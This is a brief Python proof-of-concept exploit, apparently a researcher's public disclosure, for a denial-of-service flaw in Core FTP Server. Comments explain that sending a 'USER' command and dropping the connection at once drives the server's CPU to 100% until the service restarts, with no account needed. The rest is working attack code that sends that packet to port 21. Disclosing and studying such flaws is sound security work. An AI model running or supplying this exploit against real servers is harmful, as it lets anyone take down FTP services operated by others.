# Note: FTP account is not required for exploitation
# http://www.mertsarica.com
# I discovered a denial-of-service vulnerability on Core FTP Server product.
# When you send "USER test\r\n" and then kills the connection
# immediately, cpu increases to 100% and stays at that level until you
# stop the ftp service.
import socket, sys
HOST = 'localhost'
PORT = 21
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((HOST, PORT))
except:
print "Connection error"
sys.exit(1)
try:
s.send('USER MS\r\n') # magic packet
s.close()
print("Very good, young padawan, but you still have much to learn...")
except:
print "Connection error"
sys.exit(1)
